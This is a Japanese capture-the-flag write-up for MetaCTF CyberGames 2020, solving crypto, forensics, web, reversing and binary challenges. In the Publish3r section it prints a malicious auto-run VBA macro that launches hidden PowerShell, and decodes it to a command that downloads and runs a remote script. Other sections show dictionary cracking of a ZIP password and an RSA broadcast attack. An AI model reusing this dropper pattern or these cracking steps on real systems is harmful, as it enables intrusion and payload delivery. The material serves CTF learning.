MetaCTF CyberGames 2020 Writeup

この大会は2020/10/24 21:00(JST)~2020/10/25 21:00(JST)に開催されました。
今回もチームで参戦。結果は8150点で995チーム中14位でした。
自分で解けた問題をWriteupとして書いておきます。

Flag Format (Other 50)

問題に記載しているフラグの説明通りに答えればよい。

MetaCTF{string_separated_with_und3rscores}

You've Got a Friend In Me (and Discord) (Reconnaissance 50)

Discordに入り、ModMailボットに適当なメッセージを送ったら、フラグを含むメッセージが返ってきた。
f:id:satou-y:20201103162755p:plain

MetaCTF{asking_questions_is_how_we_learn!}

Crypto Stands For Cryptography (Cryptography 100)

base64デコードする。

$ echo TWV0YUNURntiYXNlNjRfZW5jMGRpbmdfaXNfbjB0X3RoZV9zYW1lX2FzX2VuY3J5cHRpMG4hfQ== | base64 -d
MetaCTF{base64_enc0ding_is_n0t_the_same_as_encrypti0n!}
MetaCTF{base64_enc0ding_is_n0t_the_same_as_encrypti0n!}

Forensics 101 (Forensics 100)

Rarアーカイブのマジックバイトを答える。

MetaCTF{Rar!}

High Security Fan Page (Web Exploitation 125)

認証ページの画面のHTMLソースを見る。authenticate()が実行されていることがわかる。
static/framework.jsを見る。

function authenticate(){
    var username = document.getElementById("inputUsername").value;
    var password = document.getElementById("inputPassword").value;
    var notFailed = true;
    if(username!="ChrisM"){
        alert("You did not enter the correct username!");
        notFailed = false;
    }
    if(password!="MetaCTF{So_You_Wanna_Play_With_Magic}"){
        alert("You did not enter the correct password!");
        notFailed = false;
    }
    if(notFailed){
        alert("Hiya!");
        window.location.pathname = './a3263ca2855a26f06bd679ac3e240af9/adminpanel.html';
    }
}

JavaScriptの中にフラグが含まれていた。

MetaCTF{So_You_Wanna_Play_With_Magic}

Baffling Buffer 0 (BInary Exploitation 150)

48バイトのバッファを大きく超える文字列を入力する。

$ nc host1.metaproblems.com 5150
Enter the access code: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
TODO: Implement access code checking.
MetaCTF{just_a_little_auth_bypass}
MetaCTF{just_a_little_auth_bypass}

Barry's Web Application (Web Exploitation 150)

http://host1.metaproblems.com:5620/dev/まで遡っていくと、docsディレクトリがあるのがわかる。さらにその下にflag.txtがあるのがわかり、そのファイルにフラグが書いてあった。

MetaCTF{Dont_l3t_y0ur_d1rect0ries_b3_l1st3d}

ROT 26 (Cryptography 150)

https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 26:
MetaCTF{not_double_rot_13}
MetaCTF{not_double_rot_13}

Staging in 1...2...3 (Forensics 150)

$ strings 123.tmp | grep MetaCTF
vMetaCTF{definitely_n0t_all_0f_y0ur_sensitive_data}/Company Secret Notes/priv&conf - ongoing internal investigation.txt
FMetaCTF{definitely_n0t_all_0f_y0ur_sensitive_data}/Emails/IMG_3302.PNG
wMetaCTF{definitely_n0t_all_0f_y0ur_sensitive_data}/Super Secret Research on Moving Everything to the Cloud/IMG_0130.PNG
GMetaCTF{definitely_n0t_all_0f_y0ur_sensitive_data}/Company Secret Notes
9MetaCTF{definitely_n0t_all_0f_y0ur_sensitive_data}/Emails
jMetaCTF{definitely_n0t_all_0f_y0ur_sensitive_data}/Super Secret Research on Moving Everything to the Cloud
2MetaCTF{definitely_n0t_all_0f_y0ur_sensitive_data}
FMetaCTF{definitely_n0t_all_0f_y0ur_sensitive_data}/Emails/IMG_3302.PNG
wMetaCTF{definitely_n0t_all_0f_y0ur_sensitive_data}/Super Secret Research on Moving Everything to the Cloud/IMG_0130.PNG
MetaCTF{definitely_n0t_all_0f_y0ur_sensitive_data}

Welcome to the Obfuscation Games! (Cryptography 175)

base64データをデコードすると、gzipのデータになるので、解凍、展開する。

enc = 'H4sIAEFgjl8A/xXMMQrCQBCF4as8FltPIFaCnV3A8jFmn8ngupuYaUS8e5LyL77//vHQcWxLIHWj8Cw2wBd4RWyp2resjMm+pVlOJxzmGWekm8Iu3fU3ScXrwIf1L26C+4CtijukBY3hb/3TCj2Ieh9qAAAA'

with open('flag.gz', 'wb') as f:
    f.write(enc.decode('base64'))
$ gzip -d flag.gz
$ cat flag
Write-host "The flag is in the encoded payload"; $qq = "MetaCTF{peeling_back_the_flag_one_code_at_a_time}"
MetaCTF{peeling_back_the_flag_one_code_at_a_time}

Not So Itsy Bitsy Spider (Reconnaissance 200)

「最近の報告によると、WIZARD SPIDERとして知られる著名なランサムウェアオペレーターは、侵害から5時間以内にRyukランサムウェアを環境に展開できました。昇格された特権を取得するために、この環境で悪用された最近の重大な脆弱性は何ですか?CVE番号を答えてください」という問題。
WIZARD SPIDER Ryuk ransomware cve で検索すると、以下のページなどが見つかる。

https://threatpost.com/ryuk-ransomware-gang-zerologon-lightning-attack/160286/
CVE-2020-1472

The Last Great ZIP File (Cryptography 200)

添付ファイルはパスワード付きZIPファイル。fcrackzipでクラックする。

$ fcrackzip -u -D -p dict/rockyou.txt flag.zip


PASSWORD FOUND!!!!: pw == Soldat*13
$ unzip -P Soldat*13 flag.zip
Archive:  flag.zip
  inflating: flag.png

クラックして、そのパスワードで展開したflag.pngの画像にフラグが書いてあった。
f:id:satou-y:20201103164408p:plain

MetaCTF{crack_the_planet}

[REDACTED] (Reverse Engineering 225)

PDFには黒く塗りつぶされたマスクされた画像がある。画像をコピーして、ペイントに貼り付けると、マスクがはずれた画像がコピーされ、フラグを見ることができた。
f:id:satou-y:20201103164648p:plain

MetaCTF{politics_are_for_puppets}

Diving into the announcement (Reconnaissance 225)

CVE-2020-1472のエクスプロイトコードで脆弱性を突いている関数を答える。
https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py のコードを見て該当する関数を答える。

NetrServerPasswordSet2

Publish3r (Forensics 225)

このマルウェアが接続しようとするURLを答える。マクロを見てみる。

$ olevba Publish3r.pub 
olevba 0.56 on Python 2.7.17 - http://decalage.info/python/oletools
===============================================================================
FILE: Publish3r.pub
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: Publish3r.pub - OLE stream: u'VBA/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub Document_Open()


    Dim objList As Object
    Dim tmp As String
    Set objList = GetObject("winmgmts:") _
        .ExecQuer("select * from win32_process where name='" & "outlook_process.exe" & "'")

    If objList.Count > 0 Then
        doit
    Else
        tmp = "lala"
    End If


End Sub

Sub doit()

Dim RetVal
RetVal = Shell("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec Bypass -windowstyle hidden -enc SQBFAHgAIAAoACgAbgBFAFcALQBPAEIASgBlAEMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACgAIgBoAHQAdABwADoALwAvADEAMwAuADMANwAuADEAMAAuADEAMAA6ADQANAA0ADMALwBkAG8AYwAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAiACkAKQApAA==", 1)


End Sub
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: Publish3r.pub - OLE stream: u'VBA/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|GetObject           |May get an OLE object with a running instance|
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|doit                |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|powershell          |May run PowerShell commands                  |
|Suspicious|Windows             |May enumerate application windows (if        |
|          |                    |combined with Shell.Application object)      |
|Suspicious|exec                |May run an executable file or a system       |
|          |                    |command using Excel 4 Macros (XLM/XLF)       |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |outlook_process.exe |Executable file name                         |
|IOC       |powershell.exe      |Executable file name                         |
+----------+--------------------+---------------------------------------------+

base64文字列をデコードしてみる。

$ echo SQBFAHgAIAAoACgAbgBFAFcALQBPAEIASgBlAEMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACgAIgBoAHQAdABwADoALwAvADEAMwAuADMANwAuADEAMAAuADEAMAA6ADQANAA0ADMALwBkAG8AYwAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAiACkAKQApAA== | base64 -d
IEx ((nEW-OBJeCt net.webclient).downloadstring(("http://13.37.10.10:4443/doc/payload.ps1")))
MetaCTF{http://13.37.10.10:4443/doc/payload.ps1}

Password Here Please (Reverse Engineering 325)

スクリプトから以下のパスワードの条件があることがわかる。

・パスワードの長さは23
・chunk1
 先頭7文字についてkey区切りで0x98から引いたものを結合
 →0x98から引いたものは&e"3&Ew*
・chunk2
 真ん中8文字について0x60より大きい場合、0x1fを引き、
 0x60以下で、0x40より大きい場合、0x1fを足し、そうでない場合はそのまま
 →・1番目の結果:0x42~0x5f
  ・2番目の結果:0x60~0x7f
  ・3番目の結果:  ~0x40
・i=7以外:chunk2[i] + ring[i] == chunk2[i+1]
・i=7  :chunk2[i] + ring[i] == 0
・chunk3
 ・末尾8バイトはすべて0x28以上
 ・各文字で0x28を引いて、257進数にしている。
 →257で割っていって、求めればよい。
def get_index_list(n):
    values = []
    for i in range(8):
        values.append(1 << i)

    indexes = []
    remain = n
    for i in range(7, -1, -1):
        if remain >= (1 << i):
            indexes.append(i)
            remain -= 1 << i

    if remain == 0:
        return indexes
    else:
        return None

enc = '&e"3&Ew*'
password1 = ''
for c in enc:
    password1 += chr(0x98 - ord(c))

ring = [54, -45, 9, 25, -42, -25, 31, -79]
chunk2 = [0] * 8
for i in range(7, -1, -1):
    if i == 7:
        chunk2[i] = 0 - ring[i]
    else:
        chunk2[i] = chunk2[i+1] - ring[i]
password2 = ''
for c in chunk2:
    if c >= 0x60:
        code = c - 0x1f
    elif c > 0x40:
        code = c + 0x1f
    else:
        code = c
    password2 += chr(code)

code = 0xaace63feba9e1c71ef460e6dbf1b1fbabfd7e2e35401440ac57e93bd9ba41c4fbd5d437b1dfab11fe7a1c6c2035982a71765fc9a7b32ccef695dffb71babe15733f5bb29f76aae5f80fff

coeff = [0] * 8
remain = code
for i in range(127, 0x28, -1):
    if remain >= (257 ** (i - 0x28)):
        indexes = get_index_list(remain / (257 ** (i - 0x28)))
        for index in indexes:
            coeff[index] = i
            remain -= (257 ** (i - 0x28)) * (1 << index)
    if remain == 0:
        break

password3 = ''
for c in coeff:
    password3 += chr(c)

flag = password1 + password2 + password3
print flag
r3verS!ng_pyTh0n_fOr_FUn

Mysterious RSA (Cryptography 350)

何回かアクセスしてみる。

N: 0x57e7bb00c36d08d73ca3e8c6591ca0ccc65bf60a5b9e6814aedbaccc600e27978a602bd72530009b644c36166ab203ccb6d64f60894d296c22b30dc6c61c60d3e54c1505132b192ba2db0af0012d09993b13affe360e8187f1594783bd641a21586660a47aa66f28a7da004092dabf2af899cd5a4637959d3b9d8acd92ed3db9
E: 0x4f
C: 0x4ed590c411d64a4355f613d7c300b90ff6ce312a46473cc481d8f46b03bf753658455340f2ca6eadc68ae6f87707430589058374169c3c54ca27aaf4ce1108b813657d95b29bb54f5a1bde8c7ffa36afbf0f34c051146c3d301a6defeb20aaf6c8ea36b3b8a149f70a1b68c800621f72f58135592731e059c62c2ed219c97745

N: 0x84282f9e3b2c0809d01459b24955b3ebf84cfd33e75b232cebfa62b341d2e6f2570a201f6bf54c0143cafff1bb13f3865461e6bf5ece6d6b2cf58dfb50092d01bbffeb11aa0beca19ead8957db790efcbaed81e5f0fa42f74403b95abf783eed3ab9331b541832b9f3a9ccf061de1d3aef25279f22479d9f5781726ea0db8e47
E: 0x6b
C: 0x69971a05e930b154515a4e90197c8ea0ce76e00b501ce6ce4703d9adda760788022aee1c7f7e62a34b2bfcd98b1b6217abf7bd53cfc0c0c6b3a8317842c98903baee31637bc217eb582484e247d3e6246fb665a74d1c555144f35f5d5a45ff07bca021bf691657d69d55d0d08aab9046c51ac6f5d41318edcc3d782b18d2bc53

N: 0x53bad737a4e68c08f88ac94571be24684f850f2433ab005530ca4c3e1b1ec7a3834386c74d07f3962081daa0cd6c7bd167d81a0956d9fc1bcf485b4066cd725bcfe16c4ab2811d050ebee332e6c17bfbb6a12293e6071c00dd5b2e9e5b00b99449dc46af9b11057b25762e4b142e5f140ff62e40e3a6930f1232a3163fb1fa91
E: 0x6b
C: 0x2cc8c8409abf4604b091d2ee594f65b8a09e368c8f6e82c5651e6bd579af65406741f3cb0e652ae66294da0f04edb27b2a97eebb0a8949a3f45c45f11b6524ea7500e0135dc59e66feda18c45f89379cfe43404c5b9a5da93881d8dc1c5264018a445e7c48c0dfe61cc9f2199bf61dcfceb6e278ff0d7f000fb6e3eca60e77ed

N: 0xb8dec192071b55e00201dbc65b653976c4cb03d19d3e802f124714ab04bb8db16b6297f96cd2f92cc2847eaa18ffcba1ee2f748d4ed81dddc9a67dfc4e95fe6acdd32db21c7f3aa6bc4d98557d0d4911292c2b79cbe2aa8c3786166e129c44677f62e4e6fb3f3c662359826e55e6510d4c384ccea858666e88a3ee5536a9939f
E: 0x53
C: 0xb3bd38301958e5e780c0f394b8308033724a933fa0c6391c00d9047f97bdf2a4a46b1c5456052e1f757379832ec73c602c9d184343aee212ea26893e3a65373193df969dfc08f8719749015f3ebcb9e28f1039dc17217add2b9b6a9dd2b2b9b8cadd34affc63aee250274c9c667a70d1bc6ade19f207da13f9a2b094c24e4eb7

N: 0x511dbf321b7ccb8dd1bc26218392db010d53261a71d0fa7e68c2434115a665d4603b680fb0ff82c58998790fee3493b3bf2e642a0d5b9ae7658c83edc51b1675f241a6d321b4af23cedf601a45453bfad1d2ff60e61910b2e922ef04d58460538d232bbf691a4b21486730bd90dc289df8f8a0e29ddc2d657438b35b157083a5
E: 0x4f
C: 0x2c0282219e2eda24dec592ef8fd15f4d28e05689e9369f8e1ca1f78d3d0765722fb1ce54008c431829a085e91cda5b37a3093f96157b3a301471bdd9be5370a761a003b1142a7ec1452a37cefbd05de36999390817cd877240e14b3def48df7f9a5894d27ca3324ab3f9f92dcaca9ce097eb3f2a14fe00bbc59ccaf002ef602c

N: 0x6791d7ae2bd3fc1a2c109e62d74985eafcec778277f27bb89d20119f771df8f14a214eeba7a514d26c7095e97c00e084d6c07d9770886fcfbe376e4394960fb6e1b9aa3e00adb814cdc0c6a0f55b31fe0b8ab48210c775f1b15bb73c2e8ca0c3f27efd522ebaa90bcaf50556e0a38c453003f7523ea0d3019ab29a7ffbd4becf
E: 0x61
C: 0x15348b09490a97510b99c15db8671cc6c4c46c63abc1073df4a6a5fba904bf465e3a2f4a03258b650193c988d8f08644a2fc610b1b08d402a819d4ea9c5f6da3d3ecf4101f669785260cd3d364b668ec54ba9d8abfe07b016b71522697b65949db3cc76ff020fc318b0cb41c17b8be15e49402bc707c1c622a5d86d857735c5a

N: 0x881c0f91b6cc5a314b0b358d43c1e3c3570b30f31489564ef9b1899fe1fad29ffa2c8e942364de2da944221415305329e97c75fae9bf19b86522748882b08707419f3295b0bbcdc2cf6def5e8141b2807881638ab774f2c32b216b3ec91cbd01a4e26f8a8ab3eeadcd7eb33bcbbd4cd315b00c3847760daf9262fa27e3c16b51
E: 0x4f
C: 0x12811469ca7d5ad8b219456c32f8773e649e1f475673a5a95c78cd5e16c41cfa997e96436248140901834738930527f809074407343b1bf6372bae9c52281264a4f58b5b9f6f19f119a161eddb0178ce53c2e7bd8df86fe39413dae268648ebec4c3de3ad2ebe0fe9d4578b9ebc8afc4d42c93d572963402800135349deb419a

eの値は変わるが、範囲が狭く、何回もアクセスすれば、同じeの場合の暗号情報を集めることができる。eが0x43の情報だけを集めて、Hastad's Broadcast Attackで復号する。

import requests
import functools
import gmpy
from Crypto.Util.number import *

def chinese_remainder(pairs):
    N = 1
    for a, n in pairs:
        N *= n

    result = 0
    for a, n in pairs:
        m = N/n
        d, r, s = gmpy.gcdext(n, m)
        if d != 1:
            raise "Input not pairwise co-prime"
        result += a*s*m

    return result % N, N

def hastads_broadcast_attack(e, pairs):
    x, n = chinese_remainder(pairs)
    return gmpy.root(x, e)[0]

url = 'https://metaproblems.com/8b2797bf7f420d5ad92e60ba064a55a1/index.php'
e = 0x43

pairs = []
while True:
    r = requests.get(url)
    body = r.text
    N = eval(body.split('<br>')[0].rstrip()[3:])
    E = eval(body.split('<br>')[1].rstrip()[3:])
    C = eval(body.split('<br>')[2].rstrip()[3:])
    if E == e:
        pairs.append((C, N))
    if len(pairs) == e:
        break

m = hastads_broadcast_attack(e, pairs)
flag = long_to_bytes(m)
print flag
MetaCTF{WoW_y0U_Sur3_L!ke_youR_CRT_Att@ck5!}

MetaCTF CyberGames Feedback (Other 200)

アンケートに答えたら、フラグが表示された。

mr_casyn_appreciates_your_feedback